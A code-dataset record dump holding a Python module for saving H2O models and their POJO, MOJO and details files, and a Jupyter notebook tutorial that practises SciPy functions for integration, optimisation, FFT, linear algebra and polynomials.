hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9d2033a62422237b88097ef16aa517dc2d972353
| 7,086
|
py
|
Python
|
mercury_ml/h2o/providers/model_saving.py
|
gabrieloexle/mercury-ml
|
cc663f84a26ee66ae105bbfc0cd1cbd5629031cd
|
[
"MIT"
] | 43
|
2019-02-01T15:22:09.000Z
|
2020-02-21T12:51:42.000Z
|
mercury_ml/h2o/providers/model_saving.py
|
gabrieloexle/mercury-ml
|
cc663f84a26ee66ae105bbfc0cd1cbd5629031cd
|
[
"MIT"
] | 17
|
2019-02-15T12:52:18.000Z
|
2019-05-09T15:42:51.000Z
|
mercury_ml/h2o/providers/model_saving.py
|
gabrieloexle/mercury-ml
|
cc663f84a26ee66ae105bbfc0cd1cbd5629031cd
|
[
"MIT"
] | 12
|
2019-02-02T16:48:10.000Z
|
2019-12-16T15:40:15.000Z
|
import json
import os
from h2o.utils.typechecks import assert_is_type
from h2o.model.model_base import ModelBase, H2OValueError
import h2o
def save_h2o_model(model, filename, extension=None, local_dir=None, force=False):
"""
Adapts the "h2o.save_model" method in the h2o module in order to control the name of the saved model
:param model: An H2O Model
:param string local_dir: Local directory where the model is to be saved
:param string filename: Filename with which the model is to be saved
:param string extension: Extension to the filename with which the model is to be saved
:param bool force: If true will overwrite existing files
:return: The full filepath where the model is saved
"""
if not extension:
extension = ""
assert_is_type(model, ModelBase)
assert_is_type(local_dir, str)
assert_is_type(force, bool)
local_dir = os.getcwd() if not local_dir else _make_local_path(local_dir)
print(local_dir)
filename = filename + extension
path = os.path.join(local_dir, filename)
_make_dirs(local_dir)
final_path = h2o.api("GET /99/Models.bin/%s" % model.model_id, data={"dir": path, "force": force})["dir"]
return final_path
def save_pojo(model, filename, extension=None, local_dir=None):
"""
Adapts the "h2o.download_pojo" method in the h2o module in order to control the name of the saved model, and to
split "pojo" and "pojo_jar" downloads into two different functions
:param model: An H2O Model
:param string local_dir: Local directory where the model is to be saved
:param string filename: Filename with which the model is to be saved
:param string extension: Extension to the filename with which the model is to be saved
:return: The full filepath where the model is saved
"""
if not extension:
extension = ".java"
assert_is_type(model, ModelBase)
local_dir = os.getcwd() if not local_dir else _make_local_path(local_dir)
filename = filename + extension
path = os.path.join(local_dir, filename)
_make_dirs(local_dir)
if not model.have_pojo:
raise H2OValueError("Export to POJO not supported")
final_path = h2o.api("GET /3/Models.java/%s" % model.model_id, save_to=path)
return final_path
def save_pojo_jar(model, filename, extension=None, local_dir=None):
"""
adapts the "h2o.download_pojo" method in the h2o module in order to control the name of the saved model, and to
split "pojo" and "pojo_jar" downloads into two different functions
:param model: An H2O Model
:param string local_dir: Local directory where the model is to be saved
:param string filename: Filename with which the model is to be saved
:param string extension: Extension to the filename with which the model is to be saved
:return: The full filepath where the model is saved
"""
if not extension:
extension = ".jar"
assert_is_type(model, ModelBase)
if not model.have_pojo:
raise H2OValueError("Export to POJO not supported")
local_dir = os.getcwd() if not local_dir else _make_local_path(local_dir)
filename = filename + extension
path = os.path.join(local_dir, filename)
_make_dirs(local_dir)
final_path = h2o.api("GET /3/h2o-genmodel.jar", save_to=path)
return final_path
def save_mojo(model, filename, extension=None, local_dir=None, force=False):
"""
adapts the "model_base.ModelBase.save_mojo" method in the h2o module in order to control the name of the saved model, and to
split "mojo" and "mojo_jar" downloads into two different functions
:param model: An H2O Model
:param string local_dir: Local directory where the model is to be saved
:param string filename: Filename with which the model is to be saved
:param string extension: Extension to the filename with which the model is to be saved
:param bool force: If true will overwrite existing files
:return: The full filepath where the model is saved
"""
if not extension:
extension = ".zip"
assert_is_type(local_dir, str)
assert_is_type(force, bool)
if not model.have_mojo:
raise H2OValueError("Export to MOJO not supported")
local_dir = os.getcwd() if not local_dir else _make_local_path(local_dir)
filename = filename + extension
path = os.path.join(local_dir, filename)
_make_dirs(local_dir)
final_path = h2o.api("GET /99/Models.mojo/%s" % model.model_id, data={"dir": path, "force": force})["dir"]
return final_path
def save_mojo_jar(model, filename, extension=None, local_dir=None, force=False):
"""
adapts the "model_base.ModelBase.save_mojo" method in the h2o module in order to control the name of the saved model, and to
split "mojo" and "mojo_jar" downloads into two different functions
:param model: An H2O Model
:param string local_dir: Local directory where the model is to be saved
:param string filename: Filename with which the model is to be saved
:param string extension: Extension to the filename with which the model is to be saved
:param bool force: If true will overwrite existing files
:return: The full filepath where the model is saved
"""
if not extension:
extension = ".jar"
assert_is_type(local_dir, str)
assert_is_type(force, bool)
if not model.have_mojo:
raise H2OValueError("Export to MOJO not supported")
local_dir = os.getcwd() if not local_dir else _make_local_path(local_dir)
filename = filename + extension
path = os.path.join(local_dir, filename)
_make_dirs(local_dir)
final_path = h2o.api("GET /3/h2o-genmodel.jar", save_to=path)
return final_path
def save_model_details(model, filename, extension=None, local_dir=None, force=False):
"""
adapts the "model_base.ModelBase.save_model_details" method in the h2o module in order to control the name of the saved model
:param model: An H2O Model
:param string local_dir: Local directory where the model is to be saved
:param string filename: Filename with which the model is to be saved
:param string extension: Extension to the filename with which the model is to be saved
:param bool force: If true will overwrite existing files
:return: The full filepath where the model is saved
"""
if not extension:
extension = ".jar"
assert_is_type(local_dir, str)
assert_is_type(force, bool)
local_dir = os.getcwd() if not local_dir else _make_local_path(local_dir)
filename = filename + extension
path = os.path.join(local_dir, filename)
_make_dirs(local_dir)
final_path = h2o.api("GET /99/Models/%s/json" % model.model_id, data={"dir": path, "force": force})["dir"]
return final_path
def _make_dirs(dir):
import os
if not os.path.exists(dir):
os.makedirs(dir)
def _make_local_path(path_name):
if path_name[0] == ".":
path_name = os.path.join(os.getcwd(), path_name)
path_name = os.path.abspath(path_name)
return path_name
| 33.582938
| 129
| 0.711121
| 1,091
| 7,086
| 4.471127
| 0.086159
| 0.077081
| 0.0492
| 0.04428
| 0.922509
| 0.908979
| 0.901804
| 0.901804
| 0.894014
| 0.894014
| 0
| 0.007516
| 0.211403
| 7,086
| 211
| 130
| 33.582938
| 0.865426
| 0.429579
| 0
| 0.704545
| 0
| 0
| 0.078684
| 0
| 0
| 0
| 0
| 0
| 0.136364
| 1
| 0.090909
| false
| 0
| 0.068182
| 0
| 0.238636
| 0.011364
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9d33684ff87565fb97f9e20926615f542c6bcdbe
| 157,082
|
py
|
Python
|
SciPy/SciPy.py
|
jrderek/Data-science-master-resources
|
95adab02dccbf5fbe6333389324a1f8d032d3165
|
[
"MIT"
] | 14
|
2020-09-17T17:04:04.000Z
|
2021-08-19T05:08:49.000Z
|
SciPy/SciPy.py
|
jrderek/Data-science-master-resources
|
95adab02dccbf5fbe6333389324a1f8d032d3165
|
[
"MIT"
] | 85
|
2020-10-01T16:53:21.000Z
|
2021-07-08T17:44:17.000Z
|
SciPy/SciPy.py
|
jrderek/Data-science-master-resources
|
95adab02dccbf5fbe6333389324a1f8d032d3165
|
[
"MIT"
] | 5
|
2020-09-18T08:53:01.000Z
|
2021-08-19T05:12:52.000Z
|
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"### Author: Sanjoy Biswas\n",
"### Topic : SciPy Practice for Machine Learning and Data Science\n",
"### Email : sanjoy.eee32@gmail.com"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"SciPy contains varieties of sub packages which help to solve the most common issue related to Scientific Computation.\n",
"SciPy is the most used Scientific library only second to GNU Scientific Library for C/C++ or Matlab's.\n",
"Easy to use and understand as well as fast computational power.\n",
"It can operate on an array of NumPy library."
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"SciPy contains varieties of sub packages which help to solve the most common issue related to Scientific Computation.\n",
"SciPy is the most used Scientific library only second to GNU Scientific Library for C/C++ or Matlab's.\n",
"Easy to use and understand as well as fast computational power.\n",
"It can operate on an array of NumPy library."
]
},
{
"cell_type": "code",
"execution_count": 29,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"1000.0\n",
"8.0\n",
"1.0\n",
"0.7071067811865475\n"
]
}
],
"source": [
"from scipy import special\n",
"a = special.exp10(3)\n",
"print(a)\n",
" \n",
"b = special.exp2(3)\n",
"print(b)\n",
" \n",
"c = special.sindg(90)\n",
"print(c)\n",
" \n",
"d = special.cosdg(45)\n",
"print(d)"
]
},
{
"cell_type": "code",
"execution_count": 33,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"(-1.3333333333333335, 1.4802973661668755e-14)"
]
},
"execution_count": 33,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"from scipy import integrate\n",
"a = lambda y, x: x*y**2\n",
"b = lambda x: 1\n",
"c = lambda x: -1\n",
"integrate.dblquad(a, 0, 2, b, c)"
]
},
{
"cell_type": "code",
"execution_count": 6,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"7371.0399999999945"
]
},
"execution_count": 6,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"import numpy as np\n",
"from scipy.optimize import rosen\n",
"a = 1.2 * np.arange(5)\n",
"rosen(a)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Nelder-Mead"
]
},
{
"cell_type": "code",
"execution_count": 7,
"metadata": {},
"outputs": [
{
"data": {
"text/plain": [
"array([0.96570182, 0.93255069, 0.86939478, 0.75497872, 0.56793357])"
]
},
"execution_count": 7,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"from scipy import optimize\n",
"a = [2.4, 1.7, 3.1, 2.9, 0.2]\n",
"b = optimize.minimize(optimize.rosen, a, method='Nelder-Mead')\n",
"b.x"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Fourier Transform Functions:"
]
},
{
"cell_type": "code",
"execution_count": 13,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[ 6.-0.j -2.+2.j -2.-0.j -2.-2.j]\n"
]
}
],
"source": [
"from scipy.fftpack import fft, ifft\n",
"x = np.array([0,1,2,3])\n",
"y = fft(x)\n",
"print(y)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Signal Processing Functions:"
]
},
{
"cell_type": "code",
"execution_count": 16,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[ 0 1 2 3 4]\n",
" [ 5 6 7 8 9]\n",
" [10 11 12 13 14]\n",
" [15 16 17 18 19]\n",
" [20 21 22 23 24]\n",
" [25 26 27 28 29]\n",
" [30 31 32 33 34]]nn[[ 0. 1. 2. 3. 0.]\n",
" [ 5. 6. 7. 8. 3.]\n",
" [10. 11. 12. 13. 8.]\n",
" [15. 16. 17. 18. 13.]\n",
" [20. 21. 22. 23. 18.]\n",
" [25. 26. 27. 28. 23.]\n",
" [ 0. 25. 26. 27. 28.]]\n"
]
}
],
"source": [
"from scipy import signal\n",
"x = np.arange(35).reshape(7, 5)\n",
"domain = np.identity(3)\n",
"print(x,end='nn')\n",
"print(signal.order_filter(x, domain, 1))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Waveforms:"
]
},
{
"cell_type": "code",
"execution_count": 17,
"metadata": {},
"outputs": [
{
"data": {
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAYIAAAEWCAYAAABrDZDcAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy8QZhcZAAAgAElEQVR4nOydeXxcZ3nvv480mhnt+2Zrsy3ZsWM7TqKEkI2EOJAATcIeoCXQUMpt05bS9jZcbimF0rL10hYoJWxJgbKFAgFCQhYS4uzO4n2RvMiSrGW079vMe/8458gTWbI0mjNzzpl5v5+PPpo5y5xHI+n85nmfTZRSaDQajSZ9yXDaAI1Go9E4ixYCjUajSXO0EGg0Gk2ao4VAo9Fo0hwtBBqNRpPmaCHQaDSaNEcLgSZlEZGrROSI03asBBFpEBElIr4l9v8fEflGsu3SpAei6wg0XkdETgIfUEo97LQt50JENgKfBq4FsoA24G7g34Ba4ASQpZSac8pGTXqiPQKNxmYW+1QvIhuAZ4F2YJtSqhB4O9AM5Nt9PY0mFrQQaFIWEblGRDqinp8Ukb8Wkb0iMiwiPxSRYNT+N4nIyyIyJCJPicj2qH13isgxERkVkYMi8uaofe8TkSdF5IsiMgB8YhFz/gF4Sin1EaVUF4BS6ohS6t1KqaGo494jIqdEpE9EPhZ1jU+IyHfNx9Yy0u0icgp4NGrbB0XktIh0ichfxf8uatIBLQSadOMdwA3AOmA78D4AEbkI+Bbwx0Ap8DXgPhEJmOcdA64CCjFu6t8Vkeqo130VcByowFj+WchO4N4V2HclsAm4Dvi4iGw+x7GvATYDr4/adi3QBLwOuFNEdq7gmpo0RwuBJt34d6XUaaXUAPALYIe5/Y+ArymlnlVKhZVS9wDTwGUASqkfm+dFlFI/BFqAS6Ne97RS6ktKqTml1OQi1y0FulZg3z8opSaVUnuAPcAF5zj2E0qp8QXX+wdz2z7g28C7Vn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 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"from scipy.signal import chirp, spectrogram\n",
"import matplotlib.pyplot as plt\n",
"t = np.linspace(6, 10, 500)\n",
"w = chirp(t, f0=4, f1=2, t1=5, method='linear')\n",
"plt.plot(t, w)\n",
"plt.title(\"Linear Chirp\")\n",
"plt.xlabel('time in sec)')\n",
"plt.show()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Finding the Inverse of a Matrix:"
]
},
{
"cell_type": "code",
"execution_count": 18,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[-0.6 0.4]\n",
" [ 0.8 -0.2]]\n"
]
}
],
"source": [
"import numpy as np\n",
"from scipy import linalg\n",
"A = np.array([[1,2], [4,3]])\n",
"B = linalg.inv(A)\n",
"print(B)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Finding the Determinants:"
]
},
{
"cell_type": "code",
"execution_count": 19,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"-5.0\n"
]
}
],
"source": [
"import numpy as np\n",
"from scipy import linalg\n",
"A = np.array([[1,2], [4,3]])\n",
"B = linalg.det(A)\n",
"print(B)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Sparse Eigenvalues:"
]
},
{
"cell_type": "code",
"execution_count": 20,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"Selected eigenvalues : [-2.53382695 1.66735639 3.69488657 12.17158399]\n",
"Complex ndarray : [[ 0.69205614 0.5829305 0.25682823 -0.33954321]\n",
" [-0.68277875 0.46838936 0.03700454 -0.5595134 ]\n",
" [ 0.23275694 -0.29164622 -0.72710245 -0.57627139]\n",
" [ 0.02637572 -0.59644441 0.63560361 -0.48945525]]\n"
]
}
],
"source": [
"from scipy.linalg import eigh\n",
"import numpy as np\n",
"A = np.array([[1, 2, 3, 4], [4, 3, 2, 1], [1, 4, 6, 3], [2, 3, 2, 5]])\n",
"a, b = eigh(A)\n",
"print(\"Selected eigenvalues :\", a)\n",
"print(\"Complex ndarray :\", b)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Spatial Data Structures and Algorithms:"
]
},
{
"cell_type": "code",
"execution_count": 21,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"<scipy.spatial.qhull.Delaunay object at 0x000001D516C39608>\n",
"[[3 2 1]\n",
" [3 1 0]]\n"
]
},
{
"data": {
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAXQAAAD4CAYAAAD8Zh1EAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy8QZhcZAAAgAElEQVR4nO3dd3RUdd7H8fePQAiEXhMgIXQIAQVCE1dRERFURHRXXXthdR+f5dkioFgiWADbsivqomvBXSsJECliw4oFUEmDQAglgUBCC5CezO/5I9ETQyADTHIzM5/XOZwzd+4vc78/ZvLhcufe7zXWWkRExPs1cLoAERHxDAW6iIiPUKCLiPgIBbqIiI9QoIuI+IiGTm24Xbt2NiIiwqnNi4h4pQ0bNuy31ravbp1jgR4REcH69eud2ryIiFcyxuw80TodchER8REKdBERH6FAFxHxEQp0EREfoUAXEfERNQa6MeYVY0y2MSbpBOuNMeYfxpg0Y0yCMWaw58sstyJ9BWMXj2Xg6wMZu3gsK9JX1NamREQ8rrYzzJ099NeAcSdZfynQq+LPFOCFMy/reCvSVxCzNoasvCwslqy8LGLWxijURcQr1EWG1XgeurX2C2NMxEmGTAQW2fI+vN8aY1oZY0KttVkeqhGA+T/Mp7Cs8FfPFZYVMvvrp0hN6+nJTYmIeNy7+56i0HV8hs3/YT4Tuk/wyDY8cWFRZyCj0nJmxXPHBboxZgrle/GEh4ef0kb25u2t9vljZfv555q0U3otEZG6FtxnP8Y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rjBGJNJ+f0X/rduSnPMqf6+18itG1w4xGM3p/Yibs/HGHMDEA2cX6sV1b6TztkY0wB4FrilrgqqA+68zw0pP+wymvL/hX1pjImy1h6u5dpqiztzvg54zVr7tDFmJPBGxZxdtV+eIzyeX/V5D71e3Jy6jrkzZ4wxY4CZwBXW2qI6qq221DTn5kAU8JkxZgflxxrjvfyLUXc/28ustSXW2u1AKuUB763cmfPtwLsA1tpvgCDKm1j5Krd+309FfQ70X25ObYwJpPxLz/gqY36+OTXU0s2p61iNc644/PAvysPc24+rQg1zttbmWmvbWWsjrLURlH9vcIW11ptvSOvOZ3sp5V+AY4xpR/khmJPep7eec2fOu4CLAIwx/SgP9Jw6rbJuxQM3VZztMgLItdZmndErOv1NcA3fEo8HtlD+7fjMiudmUf4LDeVv+HtAGvA90N3pmutgzh8D+4CfKv7EO11zbc+5ytjP8PKzXNx8nw3wDJACJFJ+43XH667lOUcCX1N+BsxPwFinaz7D+b4FZAEllO+N3w7cBdxV6T1eUPH3keiJz7Uu/RcR8RH1+ZCLiIicAgW6iIiPUKCLiPgIBbqIiI9QoIuI+AgFuoiIj1Cgi4j4iP8HhR3sMwwaNrsAAAAASUVORK5CYII=\n",
"text/plain": [
"<Figure size 432x288 with 1 Axes>"
]
},
"metadata": {
"needs_background": "light"
},
"output_type": "display_data"
}
],
"source": [
"import matplotlib.pyplot as plt\n",
"from scipy.spatial import Delaunay\n",
"points = np.array([[0, 1], [1, 1], [1, 0],[0, 0]])\n",
"a = Delaunay(points) #Delaunay object\n",
"print(a)\n",
"print(a.simplices)\n",
"plt.triplot(points[:,0], points[:,1], a.simplices)\n",
"plt.plot(points[:,1], points[:,0], 'o')\n",
"plt.show()"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### Working with Polynomials"
]
},
{
"cell_type": "code",
"execution_count": 22,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
" 2\n",
"1 x + 2 x + 3\n",
"\n",
"Squaring the polynomial: \n",
"\n",
" 4 3 2\n",
"1 x + 4 x + 10 x + 12 x + 9\n",
"\n",
"Integrating the polynomial: \n",
"\n",
" 3 2\n",
"0.3333 x + 1 x + 3 x + 3\n",
"\n",
"Finding derivative of the polynomial: \n",
"\n",
" \n",
"2 x + 2\n",
"\n",
"Solving the polynomial for 2: \n",
"\n",
"11\n"
]
}
],
"source": [
"from numpy import poly1d\n",
"\n",
"# We'll use some functions from numpy remember!!\n",
"# Creating a simple polynomial object using coefficients\n",
"somePolynomial = poly1d([1,2,3])\n",
"\n",
"# Printing the result\n",
"# Notice how easy it is to read the polynomial this way\n",
"print(somePolynomial)\n",
"\n",
"# Let's perform some manipulations\n",
"print(\"\\nSquaring the polynomial: \\n\")\n",
"print(somePolynomial* somePolynomial)\n",
"\n",
"#How about integration, we just have to call a function\n",
"# We just have to pass a constant say 3\n",
"print(\"\\nIntegrating the polynomial: \\n\")\n",
"print(somePolynomial.integ(k=3))\n",
"\n",
"#We can also find derivatives in similar way\n",
"print(\"\\nFinding derivative of the polynomial: \\n\")\n",
"print(somePolynomial.deriv())\n",
"\n",
"# We can also solve the polynomial for some value, \n",
"# let's try to solve it for 2\n",
"print(\"\\nSolving the polynomial for 2: \\n\")\n",
"print(somePolynomial(2))"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### SciPy Example – Linear Algebra"
]
},
{
"cell_type": "code",
"execution_count": 23,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"[[-4. ]\n",
" [ 4.5]]\n",
"\n",
" Checking results, following vector should be all zeros\n",
"[[0.]\n",
" [0.]]\n"
]
}
],
"source": [
"# Import required modules/ libraries\n",
"import numpy as np\n",
"from scipy import linalg\n",
"\n",
"# We are trying to solve a linear algebra system which can be given as:\n",
"# 1x + 2y =5\n",
"# 3x + 4y =6\n",
"\n",
"# Create input array\n",
"A= np.array([[1,2],[3,4]])\n",
"\n",
"# Solution Array\n",
"B= np.array([[5],[6]])\n",
"\n",
"# Solve the linear algebra\n",
"X= linalg.solve(A,B)\n",
"\n",
"# Print results\n",
"print(X)\n",
"\n",
"# Checking Results\n",
"print(\"\\n Checking results, following vector should be all zeros\")\n",
"print(A.dot(X)-B)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### SciPy Integration"
]
},
{
"cell_type": "code",
"execution_count": 24,
"metadata": {},
"outputs": [
{
"name": "stdout",
"output_type": "stream",
"text": [
"(9.000000000000002, 9.992007221626411e-14)\n"
]
}
],
"source": [
"# Import required packages\n",
"from scipy import integrate\n",
"\n",
"# Using quad as we can see in list quad is used for simple integration\n",
"# arg1: A lambda function which returns x squared for every x\n",
"# We'll be integrating this function\n",
"# arg2: lower limit\n",
"# arg3: upper limit\n",
"result= integrate.quad(lambda x: x**2, 0,3)\n",
"print(result)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"#### SciPy Fourier Transforms"
]
},
{
"cell_type": "code",
"execution_count": 25,
"metadata": {},
"outputs": [
{
"data": {
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAXQAAAD4CAYAAAD8Zh1EAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy8QZhcZAAAgAElEQVR4nO3de3hc913n8fd3ZiTZlnyJb4pjO4mTuk3c0E1rNUkJbeWSgFMgYaEXF0jb3XYNFEN3CyzJwz7ZEh52l+4u3YX1LjVQCi3FDW0BU9y6JVgppaR1bnV9iRPFuVhxEt9iy+OLpJn57h/njDQazYxmRr/RjOTP63mUmXOdr4+dz/z0O79zjrk7IiIy8yWaXYCIiIShQBcRmSUU6CIis4QCXURkllCgi4jMEqlmffDSpUv96quvrmvbc+fO0dnZGbagAFRXbVRX7Vq1NtVVm6nU9eijj55w92UlF7p7U37Wr1/v9dq9e3fd2zaS6qqN6qpdq9amumozlbqAR7xMrqrLRURkllCg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2i3wZOu3v+ydCFnz3uofFA/qHxDa/L3fPH63fi4/VJM+sorqtEzaH9L+A/Ej2bHKI/f8OP10wL9FLfWs0cd3mru78JuAP4JTN7WxNrqVazj+H/A64FbgReAv5nPH/a6zKzLuBLwL9398FKq5aY17DaStTV9GPm7ll3v5HomcI3AddX+Oym1WVmNwD3AtcBbwYWA78xnXWZ2Y8Dx9z90cLZFT47WF0zLdCreWD1tHH3o/HrMeCvif6hv5L/NS5+Pdak8srV0dRj6O6vxP8T5oA/YqyLYFrrMrM2otD8C3f/cjy76cesVF2tcsziWk4DfUR90Isseih88WdP+0PjC+raGHddubsPAX/K9B+vW4E7zew5om7hdxC12Bt+vGZaoFfzwOppYWadZjY//x74EWAf4x+Y/QHgb5tRX4U6dgDvj8/43wKcyXczTIeiPst/TXTM8nVtis/4rwHWAt9tUA1G9Bzcg+7+ewWLmnrMytXV7GNmZsvMbFH8fi5wG1H//m6ih8LDxOPV8IfGl6nryYIvZSPqpy48Xg3/e3T3e919lbtfTZRR/+juP8t0HK9GnN1t5A/RmeqniPrwfrOJdVxDNMLge8D+fC1EfV8PAk/Hr4unoZa/JPpVfITo2/5D5eog+vVua3z8vg/0THNdn40/d2/8D3lFwfq/Gdd1CLijgXX9ENGvtHuBJ+Kfdzb7mFWoq